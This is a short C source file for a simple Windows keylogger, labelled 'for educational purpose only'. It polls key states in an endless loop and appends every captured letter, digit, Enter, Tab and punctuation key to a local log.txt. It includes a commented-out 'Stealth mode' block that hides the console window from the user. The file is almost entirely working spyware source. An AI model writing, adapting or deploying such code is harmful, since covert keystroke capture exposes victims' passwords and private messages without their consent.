//============================================================================
// Author      : SaEeD
// Description : Very Simple Keylogger application  ;)
// *** PLEASE NOTE:  THIS FILE IS FOR EDUCATIONAL PURPOSE ONLY ***
//============================================================================

#include <stdio.h>
#include <windows.h>
#include <string.h>
#include <time.h>
#define FileName "log.txt"

void KeyPress();
int main(int argc,char *argv[])
{
   /* HWND hWnd;                //Uncomment this line if you want to
    AllocConsole();             //use Stealth mode
    hWnd = FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(hWnd,0);*/
    FILE *file;
    if((file=fopen(FileName,"a+")) != NULL)
    {
    time_t theTime=time(0);
    fputs("\nStarted logging: ", file);
    fputs(ctime(&theTime),file);
    fprintf(file,"-------------------------------------\n");
    fclose(file);}
    else{
        fprintf(stderr,"Error in Accessing File\n");
        return EXIT_FAILURE;}

    KeyPress();
return EXIT_SUCCESS;
}

void KeyPress()
{
FILE *fp;
unsigned int maxLine=0;
long tell;
short ch;

    while(1)
    {
        Sleep(80);
        for(ch=0x06; ch <= 0xDE ; ch++)
        {
            if(GetAsyncKeyState(ch)) //check Chars from 0x06 to 0xDE
            {                       //if it is in for LOOP the it returns TRUE
                                   //For char info chek:"VirtualKeyCodes" in MSDN.
                if((fp = fopen(FileName,"a+")) != NULL)
                {

                    if((ch>0x40)&&(ch<0x5B)) //Printing Chars
                         {
                            //ch+=32; //Lower case
                            fprintf(fp,"%c",ch);
                            Sleep(3);
                            maxLine++;
                            fclose(fp);
                            break;
                         }
                    else if((ch >0x29) && (ch < 0x40))//Printing Numbers
                    {
                        fprintf(fp,"%c",ch);
                        maxLine++;
                        fclose(fp);
                        break;
                    }
                    else{
                        switch(ch){
                            case VK_SPACE:
                            fputc(' ',fp);
                            maxLine++;
                            fclose(fp);
                            break;
                            case VK_RETURN:
                            fprintf(fp,"\r\n[Enter Pressed] \r\n ");
                            maxLine++;
                            fclose(fp);
                            break;
                            //Debug---
                            case VK_BACK:
                            fprintf(fp,"|->BACKSPACE<-|");
                            maxLine++;
                            fclose(fp);
                            break;
                            //----------
                            case VK_TAB:
                            fprintf(fp,"\r\n[Tab Pressed] \r\n ");
                            maxLine++;
                            fclose(fp);
                            break;
                            case VK_DELETE:
                            fprintf(fp,"\r\n[DEL Pressed]\r\n ");
                            maxLine++;
                            fclose(fp);
                            break;
                            case 0xBA:
                            fprintf(fp,";:");
                            maxLine++;
                            fclose(fp);
                            break;
                            case 0xBB:
                            fprintf(fp,"+");
                            maxLine++;
                            fclose(fp);
                            break;
                            case 0xBC:
                            fprintf(fp,",");
                            maxLine++;
                            fclose(fp);
                            break;//-----------------
                            case 0xBD:
                            fprintf(fp,"-");
                            maxLine++;
                            fclose(fp);
                            break;
                            case 0xBE:
                            fprintf(fp,".");
                            maxLine++;
                            fclose(fp);
                            break;
                            case VK_OEM_3:
                            fprintf(fp,"'~");
                            maxLine++;
                            fclose(fp);
                            break;
                            default:
                            fclose(fp);
                            break;
                        }

                    }


                }

            else{
                 fprintf(stderr,"File Access Error!\n");
                 exit(1);
            }
            }
        }
    }
}